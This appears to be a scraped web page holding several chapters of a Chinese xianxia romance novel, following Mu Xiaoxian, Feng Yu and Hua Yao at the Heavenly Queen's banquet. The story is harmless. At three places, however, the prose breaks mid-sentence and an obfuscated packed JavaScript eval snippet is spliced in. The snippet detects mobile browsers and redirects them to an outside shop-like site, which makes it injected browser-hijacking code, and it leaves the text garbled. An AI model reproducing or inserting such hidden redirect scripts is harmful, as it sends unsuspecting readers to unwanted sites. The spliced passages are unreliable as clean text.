“哎哟,你看着点路啊。”一个托着长琴的仙女走得急了,撞在慕小闲身上,将她撞了个踉跄,幸好身后凤钰扶了她一把。 仙女惊忧地看了一眼长琴,瞪了慕小闲一眼:“这是上古长琴,要是撞坏了你赔的起吗?”那是一柄上圆下窄,琴腰内收的长琴,造型简单,看不出名堂。 未等慕小闲反驳,凤钰轻笑一声:“哦?我自认为活的够久,倒是从未听过上古留下了这样朴素的长琴。” 凤钰挂着面纱遮住了下半张脸,但身着雍容华贵的橘色锦袍,一双明媚招人的凤眼,又是一派器宇轩昂的气质,看着不像是等闲之辈。 长琴仙女哼了一声:“你知道什么,还不快让开,耽误了排练,我要将你们都参到天后跟前。” 凤钰幽暗的目光追随长琴仙女离开的背影远眺,须臾,转身将慕小闲往人少处带了带,压低了声音神秘地说:“给你一样好东西。” “什么东西?”慕小闲问。 凤钰鬼鬼祟祟地张望一周,见四下无人注意,偷偷从身后拿出一小碟糕点,眼中划过一抹精光:“我看到他们在准备宴会用的点心,怕你饿了,给你拿来了几块,你尝尝。” 小小一朵花瓣形的酥饼上头晕开了一层淡淡粉色,裹挟着一丝清新的花香。慕小闲受宠若惊,看凤钰的眼神变得认真了几分:“你还挺够意思的,谢谢哈。” “小闲闲,你可得记着我点好啊。”凤钰见几名衣着端庄的神官从台前走过,朝她摆摆手,一溜烟又不知跑去哪儿了。 慕小闲不疑有他,拈了一只花瓣酥就往口里送,酥油皮入口即化,黏腻的感觉在口中蔓延,她咀嚼得越来越慢,渐渐皱起眉头...... 这也太难吃了。 天庭的宴会吃的都是些什么...... 慕小闲趁无人在意,将剩下的酥饼藏进了后台一方案几的桌布下,悠悠在附近转了一圈,见没什么新奇的玩意儿,正要往外走,突然听到有人小声道: “怎么了?慌什么?” “哎呀,我刚才准备的宴会上用的桃心酥不知道被谁端走了。要是宴会的膳食提前被外人看到了,我们都免不了天后的责罚。” “那可怎么办呐,谁这么缺德啊!桃心酥长什么样子?快,快找找。” “是桃粉色的小酥饼,有一股奇异的香气。” 慕小闲的脚步忽如千斤重,愕然地低头闻了闻身上不知何时沾染上的香气。以她对凤钰半生不熟的了解,若说他会去偷宴会的吃食,也不是不可能。 “诶,我好像闻到了......” “在哪边在哪边?” “等等......” 慕小闲顿时转过身脚下生风,正巧路过一间不起眼的房间,她就疾步走了进去,将房内囫囵一扫,只觉甚是简陋,堆放的杂物也不知为何物。 未松一口气,又听见门外的脚步声渐渐逼近,四下再没有可躲的地方,只有角落有一层厚厚的帘帐。 她未及多想,一头钻进帘帐中,借着缝隙向外看:一位绑着长辫的仙女走进屋内疑惑地转了一圈,喃喃道:“奇怪,刚才明明闻到是这边。”然后又仔细嗅了嗅,无奈屋内的胭脂水粉味混杂,闻不出头绪,便又走了出去。 慕小闲紧绷的背脊一松,靠在墙边悠悠舒了半口气,忽然一顿,瞳孔陡然睁大,身体向后缩去,哆嗦道:“你你你是谁?你在这里做什么?” 同在帘帐后,一双薄雾般的眸子静静地看着她。 他身着不染纤尘的白衣,气息微弱得难以察觉。一只雕刻精致的银色面具掩去了大半张面容,徒留下清瘦利落的下颚与肩颈线条,平添了几分脆弱,如同一层薄冰仿佛一碰就要碎了。 呼吸之间,她仿佛嗅到了冬天雪过之后的清晨,推开窗迎面而来的沁人心脾的凉气。 他未发一言,在仄逼又昏暗的角落里,掩藏在帘帐的阴影之下望着她,仿佛外界发生的事情都与他无关。 慕小闲见他迟迟未动,感觉到他没有恶意,渐渐松懈下来。虽然没有看见面容,但他清冷的气质太过独特,想来应当是为宴会表演之人。他穿的简洁,或许是她匆忙闯入时,人家正在屋内换衣服,于是匆忙之中躲在这里。 这样一分析,慕小闲突然觉得自己真是太会闯祸了。 “不好意思,我不是故意打扰你的。我有点事情需要躲一躲。”慕小闲诚恳地解释道。 门外突然又传来脚步声,慕小闲一惊:“嘘。” 两人相顾无言,静默在昏暗中。 外头传来窸窸窣窣的声音。 “把这个搬走。” “唉,累了这么些天也不知道宴会上能捞着什么好。” “可不是嘛,为了讨天后开心真是煞费苦心,她一个不高兴,我们可就惨了。当年的荷花仙子犯了错,可是被抽筋拔骨打回原形,最后烂在了后花园的水池里。” “嘘,那件事是个禁忌,不可以乱说的。” “诶,你们看见华尧上神了吗?他本人比传说中的更俊美。” “哎呀,你该不会是看上他了吧。” “瞎说什么......" 帘帐外的人说的闲话可都被他们听了去。慕小闲浑身不自在,好不容易等到外面的人离开,她掀帘而出,长舒一口气,回头轻声道:”兄台,实在对不住耽误了你这么长时间。外面没人了,可以出来了。” 慕小闲等了半晌,帘帐中伸出一只白皙、纤长又瘦削的手,手上递来一只拳头大小的陶罐。 慕小闲望着那只手等待须臾,反应过来他约莫是想让她帮忙拿一下,于是接过了陶罐。陶罐呈深彩色,外层和纹路精巧细腻,摸上去冰凉透心。 再一抬眼,那只手收了回去,人却没有出来。 慕小闲不禁有些疑惑:“你不出来吗?” 帘内没有回应,她捧着小陶罐走也不是留也不是,又问:“兄台,你再不出来我要走了。” 四周依旧沉闷无声。 慕小闲心跳加速,望着如瀑布般垂坠的帘帐咽了咽喉咙,挪到边缘,轻轻撩开,顿时倒吸一 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等等......慕小闲突然飞起一脚,踹在凤钰的身上:“你刚才给我的酥饼是从哪里来的,给我老实交代!” 凤钰一扭腰,闪过慕小闲的攻击:“什么哪里来的,你在说什么,我怎么听不懂呀。” 慕小闲又追过去:“刚才我都听说了,有人偷了宴会用的桃心酥,是不是你干的?” 凤钰突然停下来蹙起眉,一双明媚的眸子黯了下来。他看着慕小闲像在看陌生人一样,一副泫然欲泣的模样,让她心里一揪。 “你就是这么看我的?”凤钰声音喑哑地问。 “你以为是我偷的? “在你心里我就是这样的人?” 声声诘问敲击着慕小闲的心,她突然觉得自己错怪他了,毕竟那么难吃的酥饼也不一定是宴会准备的。 “你的酥饼是从哪里来的?”慕小闲问。 凤钰哈哈大笑了几声,看慕小闲的眼神充斥着痛苦,仿佛受了天大的委屈:“是我在后厨自己做的!” 慕小闲心下了然,难怪那么难吃,这样就说得通了。不对,她这是闹了天大的笑话啊! 正巧这时,几位仙女匆忙而过,低声说道:“哎呀我都说了别着急,看吧,你把做好的桃心酥放在柜子里自己忘了,还到处找,真是好笑。” 慕小闲如遭雷劈,都不好意思拿正眼看凤钰了。她眨了眨眼睛,讨好似地笑笑:“凤钰,好凤钰,你对我最好了,我误会你是我不对。原来那酥饼是你做的,我就说怎么这么好吃呢,我可是一口气全都吃完了。” 凤钰绷着一张脸抬了抬眉:“真的吃光了?” 慕小闲点头如捣蒜。 凤钰的神色缓和了一些,瞟了她一眼,叹了口气:“算了,小爷我不跟你一般见识。”而后高傲地仰起头,扭着腰身穿过后台向外走去。 未走几步,只听身后传来一声: “哎呀,谁把吃的丢这里了?这花瓣酥看上去还挺别致......呕呕,什么味儿啊?” 凤钰停下脚步,响起磨牙声:“小闲闲......” 跟在他身后的慕小闲:“啊!对不起!” 12. 变美 慕小闲和凤钰从后台打打闹闹走出来,撞上正应付完几位神官拉家常的华尧,问道:“我刚才遇到了一位带着面具的白衣美人,虽然我没有看清他的长相,但我觉得他一定长得很好看。不过,一眨眼的功夫他人就不见了,你认不认识哪个喜欢穿白衣的美人?” 慕小闲两眼放光,扯着华尧的袖口不放,完全无视了他那张越来越青的脸。 华尧见她眼角上扬,一口一个美人的样子,不知为何心里滋生出一丝怪异的感觉,冷淡答道:“不认识。” 慕小闲不相信:“真的没有吗?” “都说了没有。”华尧甩袖转身。 慕小闲被挣脱了手,嘟囔道:“不可能啊,难道真的大白天见鬼了?那这罐盐渍青梅又是怎么回事?” 凤钰凑到慕小闲的跟前,眼珠一转落在她怀里的小陶罐上,眼巴巴地问:“小闲闲,再给我吃一颗呗,说不定我能发现什么线索。” 慕小闲打开罐子让他取走一颗,抬抬眉:“怎么样?吃出什么了吗?” 凤钰哼哼唧唧半天:“再给我一颗?” 慕小闲迟疑了一下,又递过去一颗。在她渴望的目光中,凤钰背着手向前走了几步,回眸一笑,露出八颗亮白牙齿:“不就是普通的盐渍青梅嘛,哪里都有,吃不出什么。” 慕小闲瞪了凤钰一眼,取了一颗递给华尧:“华尧你尝尝看?” 华尧目光沉静地望着她手中晶莹的梅子,悄悄退后了一步。 慕小闲不明所以,向他走了一步,就见华尧微微蹙起眉,眼中浮现了抵触的情绪:“拿开。” 慕小闲像是发现新大陆了一般惊呼:“你该不会是怕酸吧?” 凤钰也是一愣,和慕小闲一同嘻嘻笑起来:“没想到无所畏惧的华尧上神居然怕酸哈哈哈哈哈哈。” 天界的仙人来去无踪,其中的因缘际会不是三言两语就能说的清的,饶是吃了整整一罐盐渍青梅,那时白衣美人也未在慕小闲心中留下太深的痕迹。 华尧上神是天界位高权重、名声赫赫的神官,出席盛宴的衣着穿戴自然要慎之又慎,不能失了水准。毕竟他已经被慕小闲败坏了名声,不想再为街头巷尾的八卦事业作出贡献。 织女送来了几波昂贵的服饰他都不满意,全部打回去重做。 慕小闲问他,为什么其他神仙的生活都由侍从、童子、属下来打点,他得亲自出马?华尧瞥了她一眼说,你不就是我的仙侍吗? 他这么一说,慕小闲才恍然记起来原来她还有这样一层身份。自青丘回来之后,她和凤钰“狼狈为奸”,不捣乱就不错了,根本帮不上什么忙。要说她当侍从的那些天,好像也没干过什么正经事儿。 盛宴前三天,彩云仙子给华尧送来了祥云织成的锦袍,青黑底镶金丝绣着四方神兽之一的白虎。白虎绣纹栩栩如生,踏着祥云仰天长啸、威震四方,图样很是大胆。 临走前,彩云仙子呈给慕小闲一件叠好的长裙,说是有人赠予她的。 谁会送她衣服?难道是那日在青丘遇见的小十一?在青丘解除凤钰的封印时,他曾承诺过要送她一件霓裳羽衣。 浅粉色的霓裳羽衣,前襟点缀着素雅淡花,袖上缠绕着薄如蝉翼的飘带,下摆为青赤若虹的卷云边。典雅端庄,缥缈如云,比她平日里穿的繁重了许多。 华尧眉头微微皱了一下,这件衣裳是他顺带嘱咐彩云仙子做的,本应当给慕小闲一个惊喜,但是慕小闲不但没有被惊到,反而该死的认为是别人送的。还有谁会送她衣服? 慕小闲美滋滋地穿上新霓裳,尺码刚好,心道小十一还挺厉害,真是天生做裁缝的料。 她拿起案几上的镜子一照,镜中那位少女忽然微微长大了双眼......灵动有神的杏仁眼,小巧翘立的鼻尖,两颊微现一弯小小的酒窝,淡粉的衣襟衬得她皮肤白里透红,气色极好。她竟然比升天之前好看了许多,却又说不出来改变了哪里。 慕小闲看的挪不开眼神,左看看右瞅瞅,嘟起唇冲镜子打了个啵,又忍不住偷偷笑起来。直到余光看到华尧沉默地站在角落,眼神略带几分惊异地看着她才慌忙收起笑意。 慕小闲冲镜中的华尧问道:“你有没有发现,我好像变漂亮了一点儿?” 华尧认真端详了一会儿:“是吗……” 慕小闲扔下镜子,激动地扯着华尧的袖子:“你真觉得我变漂亮了吗?”不等华尧回答,转而羞涩地一笑:“其实,我也是这么觉得的!” 华尧无言。 “对了,怎么没有看到凤钰的衣服?”慕小闲四周看了看送来的衣物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137676|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。凤钰那个骚包喜欢穿鲜艳的衣服,一定一眼就能看到。 华尧不悦:“提他作甚?他不随我们去。” “为什么?” “春桃宴须有仙位的神官才能去,你算是我的仙侍,他算什么?”华尧语气中带着一丝不屑。 慕小闲以为华尧是在问她用什么身份带着凤钰合适,思忖了一会儿,眼睛一亮,提议道:“男宠?” 华尧眼前短暂一黑,半晌,他“嗤”笑一声,未想太多,伸手欲将慕小闲头发上戴反的步摇扳正。 就在他快要触碰到时,慕小闲忽然瞪大眼睛,脑袋一偏,以一种诡异的弧度躲开了。 华尧的手就这么悬在半空,一时进退两难。 ......他伸手本是无意之举,但慕小闲为何一脸惊恐地躲开了?他是洪水猛兽吗? 慕小闲眨眨眼睛欲哭无泪,他伸手想干什么?打爆我的头?太可怕了...... 华尧铁青着脸收回手,攥成拳头垂在身侧。空气仿佛凝固,沉闷的气氛充斥着狭小的空间,将两人钉在原地。 慕小闲尴尬地抓抓头发,眼神躲躲闪闪,不知该说点什么。华尧一眼就看到了她手腕上还带着那只天街莫名其妙得来的镯子,觉得碍眼极了,顿时提起一口气就要爆发。 这时,一颗头突然从窗外探进来:“你们背着我在做什么啊嘤嘤嘤嘤?”凤钰一脸悲痛欲绝,仿佛错过了什么天大的好事。 华尧:“......” “客官既然来了,那就喝杯茶再走吧。”慕小闲借此机会和华尧拉开了距离,拖来了一方软垫放在案几边,招呼凤钰赶紧过来坐下。 就见窗外,凤钰收起折扇,一挥橘红色的衣袖退后几米,一个加速跑,起跳,踩着窗台,跃了进来。一顿骚操作看的慕小闲目瞪口呆:“你为什么又不穿进来?” 凤钰一挑眉,露齿笑道:“这样比较帅气。” 华尧看着被一脚踩塌的窗台,头顶仿佛乌云密布,周遭的温度陡然下降。他身体微颤,喉咙发出极度阴沉的声音:“你们两个......” 凤钰和慕小闲顿时跳到墙角,一个拿着茶水盘子,一个掏出了折扇,护在胸前瑟瑟发抖。 华尧转过身冲他们咆哮:“给我修好!不修好不准睡觉!” 13. 开席 今年春桃宴最大的看点是什么? 吃腻的菜肴?看腻的舞蹈?还是那帮无趣的仙友? 都不对!你绝对想不到居然是华尧上神的仙侍! 据小道仙闻所说,此女形貌不端,甚是可怖,能引祥瑞发疯,仙仙避之。 慕小闲听完震惊地指着自己,圆圆的眼睛里充满了大大的困惑。 华尧举起茶杯,浅饮一口,掩住唇边笑意。如此甚好,不能他一人被诽谤。 春桃宴设在天庭的玉霄殿内。贝阕珠宫立于浩瀚云川之上,星河日月交相辉映、熠熠生辉,规模之宏大,几乎冠绝天地,威严壮观,使人望而生畏。 大殿两侧分别有十二根玉柱,皆是万里挑一、精雕细琢。每根玉柱旁都有着一名身着银甲、手持长矛的天兵镇守,他们笔直如松、神情肃穆,将殿内的动静尽收眼底。 待华尧上神入席时,各路大神都已在案几边坐好,正有意无意地打量着盛宴的重头戏……慕小闲? 华尧瞥了一眼他的上座,案几后只有一个位子。后面放着一个小软垫,分明是给仙侍坐的。他没有犹豫微微弓下腰,将后座的垫子拉至前侧,与他的席位并列,而后对慕小闲示意:“坐。” 这一举动可惊煞了不少神官。 看来和传闻不太一样,刚升天不久华尧上神就带她出席春桃宴,哪里是仙侍,分明有故事。 华尧上神虽然追随者众多,但他向来独来独往,从未有过女子待在他的身边。难道这位大神转性了?呵呵,有好戏看了。 天帝和天后在仙侍的陪同下在大殿的正座落座,两人穿戴端庄大气,举手投足尽显华贵威严。 天后垂眸一扫,大致摸清了殿上的情形。三月三日的春桃宴是为她召开,她才是今天的主角,但见各路神仙的重点不在她这里,心里已然不悦。 她余光落在华尧上神身上,见他端坐一方,神情整肃,而右边坐的是位陌生面孔的女子。 说来天后与华尧还有些渊源。当年天后的弟弟公子鸢嫁给了青丘之主永昭殿下,生下了现任青丘之主白瑶,也就是天后的侄女。 华尧上神与白瑶曾有婚约,理应是天后的侄女婿。但是看华尧对那个传闻中的慕小闲……哼! “华尧上神,你身旁这位是何人?我怎么从未见过?”天后状似不经意地问起。 众神的目光一下子汇聚在华尧上神和他的仙侍的身上。 华尧端坐如山,眼底丝毫不见波澜,不卑不亢道:“这位是臣新收的仙侍。” 天后略一抬眉,声音亦不急不缓:“上来让我看看。” 慕小闲余光偷瞄了一眼华尧,不知此时该不该上前,只听他低声道:“有我在,不会有事。” 慕小闲微微沉了心,走至天帝、天后跟前,俯首作揖:“拜见天帝、天后。” 天后纤长的金色护指落在她的脸颊边,激起了她一层鸡皮疙瘩,她咽了咽喉咙,随着天后的拿捏抬起头来。 天后的目光冷然,说不上亲切,也没有流露出恶意,但在她的目光之下慕小闲的心跳却一下一下越来越快。 “倒是生得一副好面孔。”天后幽幽收回手,倚靠回椅背上,摆摆手:“下去吧。” 天后的目光追着她的背影下去,还未等到她落座便对华尧道:“华尧,你若需要仙侍,我这里倒有几位不错的人选,宴会之后让她们随你回去。” 慕小闲正巧走到华尧的跟前,一想到华尧在家中被几名仙侍团团围住的画面,有点幸灾乐祸,眼角不经意间流露出一丝狡黠。 华尧知道慕小闲一定又想到了稀奇古怪的东西,婉拒道:“多谢天后,不过臣素来一切从简,尚不需要仙侍打理。何况,臣家里本就窄小拥挤,怕是腾不出地方给仙侍居住。” 众仙谁不知道华尧的世外桃源,心道你家还拥挤,那我们住的是什么? 天后冷哼了一声,又碍于身份不好插手神官的屋内事,以她高贵的身份定然不能为了这等鸡毛碎皮的小事下场,于是不再多说。 但天后不说,却有旁的仙人会说。 “华尧上神,怎么能与身份不明的散仙同坐?”坐在神官中的黄衣女子问道。她面容娇媚,头顶挽着个抛家髻,发上插着金玉珠花,衣领镶着珍珠扣,一看就是大有来头。 慕小闲没理她,跟着华尧有样学样,坐得稳如泰山。 “小小散仙,来路不明,凭什么登上天后盛宴?”她微锁着眉,不顾华尧沉下来的脸色,对慕小闲字字紧逼。 她说的,其实是很多神官的心声,但是只有她这个龙宫小姐仗着父亲呼风唤雨的本领和地位才敢在大庭广众之下如此放肆。 慕小闲白了她一眼,惜字如金道:“凭本事。” 龙宫小姐面色一滞,这个散仙居然还敢当着众人的面和她顶嘴? “华尧上神是立下过赫赫战功的神官,你算什么东西?你配和他平起平坐吗?凡人就是没规矩,升天了也改不了一身臭毛病。”龙宫小姐越说越激动。 此话甚是刺耳,慕小闲不悦道:“在天庭盛宴之上、众目睽睽之下,咄咄逼人、没规没矩的不是你吗?我看饶是神仙,身上的恶习也未必比凡人少。况且,是华尧让我坐在这里的,他觉得我配呢。” 她的一席话惹众仙私下议论纷纷。 “好了,龙儿。仙凡殊途,何必与她相争。”龙王起身拦住了气得想要上前干架的龙宫小姐。 龙宫小姐别扭地看了龙王一眼,生着闷气闭上嘴。 龙王向华尧作揖:“华尧上神,小女年纪尚轻,不懂事。触犯之处,多多见谅。” 华尧摆摆手,表示更激烈的战役都见惯了,这点争执委实算不得什么。 龙王赶忙谢过,拉着龙儿坐下。他这个不省心的女儿,华尧上神是他们惹得起的吗?就算没有那位姑娘,华尧上神也是有名正言顺的未婚妻呀!你看看天后娘娘现在的脸色!糊涂! 龙儿咬着嘴唇坐下了,她并不是恪守成规,而是慕小闲太格格不入,怎么看怎么碍眼。而且那位华尧上神明明有婚约,还和其他女子牵扯得不清不楚,也不是什么好仙。 小仙女们陆续开始上菜,先呈上来的是个古铜色的茶壶,与之相配一个小茶杯。打开盖子,有扑面而来的清香。细看壶内,居然是用药材熬的鸽子汤。拎起壶把儿,将汤从壶口倒在茶杯里,小口小口细细地品,汤汁似茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137677|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般清甜爽口,香气萦绕鼻尖,让人回味无穷。 这是第一道汤。 第二道是鸭。用茶叶腌制后,烟熏,蒸炸。初入口时烟香浓郁,鲜咸的味道紧随其上,皮酥肉嫩汁水四溢,充斥整个口腔。真真是重口味者的最爱,说的就是慕小闲。 案几又摆上了几盏玲珑精巧的点心,看不出是什么做的,但每一件造型都别具一格,色香味俱佳。其中一件桃心状的酥饼让慕小闲心里一抽,独独留下了这一件不愿碰。 一群仙女们飘落在大殿两侧开始奏乐,由古筝、葫芦丝、杨琴等合奏,还有认不出来的乐器。青葱玉指在弦上一拨,几个调转,悠扬的曲子拉开了演出序幕。 渐渐有仙女飘落在大殿中央,跳的却是慕小闲那段国风爵士的改编版。 领舞将几缕编发用宝石珠钗挽在头上,身着彩云舞裙,面带薄纱,在小仙女的包围下,借着鼓点与清脆的节奏,舞着翻飞的披纱。 披纱在她手中似有灵性一般,随着她的舞姿,时而环绕身侧,时而大展向两侧。 舞姿肆意而张扬,带着玩味与挑衅,好像一切都在她的股掌之间。她甩着长袖往前快走几步,踩在一个小仙女的马步上,向后一跃,有三四米高。 空中翻转了几圈,倾倒在另一个飞天小仙女的怀里,柔软的腰肢显现出优美的弧线,眼里尽是妩媚的笑意。 连慕小闲都忍不住拍手叫好,真是青出于蓝而胜于蓝。 “凤钰没来真可惜,那个领舞跳的可真好。”慕小闲对华尧说。 华尧举到唇边的茶杯一顿:“哦?” “对啊,你看她把我跳的精髓都表现出来了,还有自我发挥。青出于蓝而胜于蓝,多厉害啊!”慕小闲目不转睛道。 “你觉得……他没来?” 慕小闲惊异地瞥了他一眼,凑近问道:“他来了?在哪儿?” 华尧眼里闪过意味不明的光:“你想见他?” 慕小闲没有理会他莫名其妙的问题,说:“你先告诉我他在哪儿?” 华尧抿了下唇:“他在台上。” 台上?她怎么没看到?等等……为什么那个领舞的小仙女边跳边给她抛媚眼…… 这种奇怪的感觉…… 难道是凤钰?他居然男扮女装跳舞! 慕小闲热泪盈眶,几乎要拍案而起:“不愧是我徒弟,真给师父我长脸啊。” 华尧眼角一跳。 一曲结束,那名风姿独特的领舞在众仙瞩目中,踮着细碎的步伐走到慕小闲桌前。在她诧异的眼神和华尧冷若寒霜的凝视下,在她手背上落下一吻。 柔软的唇在她的皮肤上流连,然后抬起那双含笑的凤眸,媚煞了一干神仙。 这光天化日之下,成何体统!天后内心又沉下去几分,真是难登大雅之堂,荒唐啊! “这女子的舞甚是新颖,不知编舞者是否也是这位仙女?”一直沉默看戏的天帝突然发话。 凤钰正要准备离去的身形一顿,没有想到天帝会突然出声,笑意凝固在唇边。 “回天帝,是这位姑娘教的。”声音自一众仙女中传来。 霎时间,四座停止了喧哗。 14. 婚事 整个会场瞬间像是被噤声一般,连轻微的呼吸都变得十分明显。众神官闭上嘴,目光在慕小闲和天帝之间偷瞄。 慕小闲不明白这陡然凝滞的气氛究竟为何,心头微微揪起,故作镇定地举起茶杯放在嘴边,小嘬一口。 这时,殿外突然戏剧化地传来:“不好意思,我来晚了。” 声音如清泉过石,不大,但足以让全场听见。 与此同时,凤钰的眸中闪过一丝意味不明的光,趁无人注意,悄悄退了出去。 一位长身玉立的白衣女子自大殿之外翩然落在天帝和天后的面前,微微倾身作揖。 慕小闲看到白衣心中一动,难道那天遇见的不是他,而是她? 那女子抬起头来,全场哗然。 虽衣着轻盈雅致,气质恬淡,面容却生的极为秀丽,每一寸都像是神来之笔。她傲然现于大殿中央,仿佛是一朵亭亭而立的冰山雪莲,嘴角微微浅笑又如春风化雪、润物无声。 动人情处,百般难描。如此形容,也怕是折煞了她。 正当慕小闲看得痴迷之时,耳边响起华尧深沉的声音:“白瑶。” 慕小闲的身体一僵,恍然回过神来。白瑶,现任青丘之主,小十一的姑姑,华尧的未婚妻…… 原来是她。 慕小闲了然,眼前这位仙女的配置也太好了,妥妥的古早小言女主。她暗暗瞥了一眼稳如泰山的华尧,心道:可以和天庭联姻的那种。 “瑶儿,你终于来了。自从一千年前你闭关清修,竟是连姑姑的寿辰都不来了?”天后一见到白瑶,神色顿时轻松不少,眉眼之间露出几分嗔怪,但眼底却满是欢欣。 白瑶浅笑道:“姑姑哪里的话,我年年都想来看你,也备了贺礼,只是修炼有修炼的规矩,若是中途停下,可要前功尽弃了。姑姑可是怪我了?” 天后示意白瑶到自己身边坐下,拍着她的手背说:“不怪不怪,你可得多来看看我,我就你这么一个亲亲的侄女。” 这感天动地的认亲场面,慕小闲却渗出一丝怪异的感觉,不知是哪里不对。她揉了揉太阳穴,问华尧:“她为什么要闭关修炼?” 华尧眸中映着白瑶的幽幽倩影,看不出情绪起伏,低声道:“大约一千年前,白瑶继任青丘之主。她自幼成长于宫外,根基不稳,又正值天庭与魔域大战之后天界动荡时期,自然是要低调的。据说当年青丘突遇天火,将宫殿烧毁,她借此对外宣称潜心修炼,推了许多不必要的外事。” 白瑶在天后身旁施施然坐下后,目光有意无意地落在华尧身上,看得出她对这个未婚夫也是在意的。两人确实般配的很,一个天界无往不胜的上神,一个青丘清水出芙蓉的女皇,小说不都是这么写的吗? 见华尧身侧一位女子直勾勾地盯着她看,白瑶忍不住问道:“这位是……” 天后怏怏地瞥了慕小闲一眼说:“这是华尧上神新收的仙侍,听说是前些日子刚飞升上来的,还没有位份。” 白瑶浅浅笑了一下,眸若星辰般微微发亮:“我刚才来时,听说今天表演的舞是她教的?” 这才让天帝、天后又想起这件事。 天帝问道:“你叫什么名字?” 慕小闲满脸真诚地回答:“我叫慕小闲。” 天后眸光一转,忽然道:“听说你舞跳的不错,正巧瑶儿也擅长舞蹈,不如你们切磋一番?” 慕小闲的唇角抽了抽,切磋?她那三脚猫功夫今天若是当着众仙的面跳了,今后还怎么在天界混? 她灵机一动道:“回天后娘娘,其实小仙最擅长的是……是诗!对!是诗!” “放肆!”天后怒拍身侧的扶手,让众仙身体一震。她眯了眯眼:“你以为随便背一首凡人写的诗,就能欺瞒众仙吗?” 诗是凡间的,那舞不也是?说到底还是想让她难堪,众仙眼中不由露出看好戏的神情。 慕小闲未被吓倒,反而一板一眼故作认真道:“如果一定要比舞,那我还是弃权比较好。凡间的舞蹈种类多样、舞步新颖,就算我会,诸位神官也不一定习惯,不如将时间留给更符合大家口味的表演。 “刚才表演的舞虽听取了小仙一点微不足道的意见,但能为春桃宴作出贡献是小仙的荣幸,实在算不得什么。天帝和天后要是对刚才的舞喜欢得紧,随便赏赐小仙一点金银珠宝,小仙也不会认为天庭小气。” 在一片沉寂中,天帝突然咧嘴笑了。他一笑,天后也只好跟着皮笑肉不笑,众仙也只能笑得莫名其妙。 “好!赏!”天帝话音一落,他身侧的仙侍拍了拍手。在天后惊愕的表情中,慕小闲乖乖拿起仙侍用托盘小心翼翼呈过来的姻缘双生佩。 姻缘双生配,顾名思义就是由阴阳两块玉佩组成。这双生配一般由男女双方各佩戴一只,平时只是普通的玉佩,但若两枚玉佩合二为一,可以窥前世的因缘际会。 这宝物若是用的好,可以增进夫妻双方的感情。若是用的不好,也可能因为前世的冤孽劳燕分飞。但这玉佩贵在天地之间只此一副,所以一直待在天庭民调的“我最想要法宝”排行榜前十。 ——这玉通体红润,还暖暖的,摸起来真舒服。不知能在天街卖几个钱? “咦?天后娘娘脸色怎么不太好?是身体不舒服吗?”慕小闲故意问道。 天后颤抖的身子一顿,她能不抖吗?那是她给白瑶和华尧专门挑的姻缘双生佩啊!怎么就呈上来给慕小闲了呢? “小闲初来天界,承受不了天界之物,这双生佩怕是无福消受,还请天后收好。”华尧不顾慕小闲震惊的眼神,将到手的宝物从慕小闲手中取出,递回仙侍手上的托盘。 天帝见此,也不强求,反而对天后说:“既然天后身体不适,还是早些休息吧。” 天后深深地看了天帝一眼,天帝避开她的目光道:“怎么?你还想待下去?” 天后眼中容不下沙子,在宴会上再待下去怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137678|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会忍不住收拾慕小闲,让众仙看了笑话。 她幽幽吸了一口气,温婉地笑着拍了拍白瑶的手背小声嘱咐道:“宴会后过来看看我,这么多年未见,我有很多话想同你说。”而后冷下脸似警告一般瞥了慕小闲一眼,由仙女扶着出去,暗道只要姻缘双生佩回来了就好,大不了华尧和白瑶大婚时一并送过去,至少不能便宜了这个来路不明的小仙。 众仙看的不亦乐乎,真是没白来啊没白来!这茶余饭后的谈资又多了不少。 白瑶默默注视着华尧,当慕小闲的目光不经意与她在空中一撞时,她才猛地收回眼神,对慕小闲施以温柔地一笑。 美女笑起来果然好看,就像春风拂面,让人不由心生喜悦。 慕小闲也冲她灿烂地笑了回去。 “华尧和白瑶的婚事是千年前定下的,如今你们都不小了,不如订下个日子吧?”天帝微抬了下眼,又抛出一个烫手的山芋。 要说华尧上神和白瑶的婚事究竟是怎么订下的?天界知晓的神仙并不多。 华尧上神素来孤身一仙,许多仙女哭着求着上门都被他断然拒绝。就是不知怎的,突然有一日他像是顿悟一般前去青丘提亲,倒是将青丘的众仙吓了一跳。 彼时,白瑶不过一千来岁,模样还是个十几岁的孩子,正是还没定性的年纪。前任青丘之主的永昭殿下和她的父君公子鸢替她作主答应了这门亲事,也不知她究竟是什么态度。 这亲事定下也就定下了,一晃多年也无人再议。在那之后不久,白瑶继任青丘之主忙于事务,又出了那件大事闭关清修。华尧在天庭诸事繁忙,两人几乎多年没有交集。 